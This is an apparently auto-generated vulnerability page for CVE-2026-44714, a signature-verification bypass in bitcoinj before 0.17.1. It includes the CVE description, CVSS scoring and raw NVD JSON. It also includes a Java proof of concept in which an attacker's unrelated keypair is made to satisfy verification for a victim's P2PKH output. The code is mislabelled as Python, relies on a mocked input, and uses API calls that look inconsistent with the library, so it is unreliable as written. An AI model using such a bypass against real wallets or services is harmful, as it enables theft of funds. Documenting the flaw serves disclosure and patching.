Security Vulnerability Report
中文
CVE-2026-44714 CVSS 7.5 HIGH

CVE-2026-44714

Published: 2026-05-15 17:16:48
Last Modified: 2026-05-15 17:16:48

Description

The bitcoinj library is a Java implementation of the Bitcoin protocol. Prior to 0.17.1, ScriptExecution.correctlySpends() contains two fast-path verification bugs for standard P2PKH and native P2WPKH spends in core/src/main/java/org/bitcoinj/script/ScriptExecution.java. In both branches, bitcoinj verifies an attacker-controlled signature/public-key pair but fails to verify that the public key is the one committed to by the output being spent. As a result, any attacker keypair can satisfy bitcoinj's local verification for arbitrary P2PKH and P2WPKH outputs. This vulnerability is fixed in 0.17.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

bitcoinj < 0.17.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC demonstrating the verification bypass in bitcoinj < 0.17.1 // This simulates the logic flaw where the public key hash check is skipped. import org.bitcoinj.core.*; import org.bitcoinj.script.*; import org.bitcoinj.crypto.ECKey; public class PoC_CVE_2026_44714 { public static void main(String[] args) { NetworkParameters params = NetworkParameters.testNet(); // 1. Setup: A victim's UTXO locked with P2PKH (Hash of VictimPubKey) ECKey victimKey = new ECKey(); // The legitimate owner Address victimAddress = victimKey.toAddress(Script.ScriptType.P2PKH, params); // 2. Attacker generates a random, unrelated keypair ECKey attackerKey = new ECKey(); // 3. Attacker creates a transaction spending the victim's UTXO to themselves Transaction tx = new Transaction(params); tx.addOutput(Coin.COIN, attackerKey.toAddress(Script.ScriptType.P2PKH, params)); // Connect the victim's UTXO as input (mocked for PoC) TransactionInput input = new TransactionInput(params, tx, new byte[] {}); tx.addInput(input); // 4. CRITICAL STEP: Attacker signs the input using THEIR key (attackerKey), not the victim's. // The script will contain [Sig_Attacker, PubKey_Attacker]. // In a correct implementation, verification should fail because // Hash(PubKey_Attacker) != Hash(PubKey_Victim) found in the output script. ScriptBuilder scriptSigBuilder = new ScriptBuilder(); // Sign with attacker key (this creates a valid signature for the attacker's pubkey) byte[] signature = tx.calculateSignature(0, attackerKey, victimAddress.getScriptBytes(), Transaction.SigHash.ALL, false); scriptSigBuilder.data(signature); scriptSigBuilder.data(attackerKey.getPubKey()); input.setScriptSig(scriptSigBuilder.build()); // 5. Verification using the vulnerable library (bitcoinj < 0.17.1) // The fast path bug checks: is Sig valid for PubKey? -> YES. // The fast path bug FAILS to check: does Hash(PubKey) match Output Script? try { // Simplified verification context for demonstration boolean isValid = ScriptExecution.correctlySpends( tx, 0, victimAddress.getScriptBytes(), // The scriptPubKey of the output being spent Script.STANDARD_VERIFY_FLAGS ); if (isValid) { System.out.println("[!] VULNERABILITY CONFIRMED: Transaction verified successfully with wrong key!"); } else { System.out.println("[+] Patched behavior: Verification failed as expected."); } } catch (ScriptException e) { e.printStackTrace(); } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44714", "sourceIdentifier": "[email protected]", "published": "2026-05-15T17:16:47.933", "lastModified": "2026-05-15T17:16:47.933", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The bitcoinj library is a Java implementation of the Bitcoin protocol. Prior to 0.17.1, ScriptExecution.correctlySpends() contains two fast-path verification bugs for standard P2PKH and native P2WPKH spends in core/src/main/java/org/bitcoinj/script/ScriptExecution.java. In both branches, bitcoinj verifies an attacker-controlled signature/public-key pair but fails to verify that the public key is the one committed to by the output being spent. As a result, any attacker keypair can satisfy bitcoinj's local verification for arbitrary P2PKH and P2WPKH outputs. This vulnerability is fixed in 0.17.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://github.com/bitcoinj/bitcoinj/commit/2bc5653c41d260d840692bc554690d4d79208f9c", "source": "[email protected]"}, {"url": "https://github.com/bitcoinj/bitcoinj/commit/b575a682acf614b9ff95cacbdeb48f86c3ababe0", "source": "[email protected]"}, {"url": "https://github.com/bitcoinj/bitcoinj/security/advisories/GHSA-hfcf-v2f8-x9pc", "source": "[email protected]"}]}}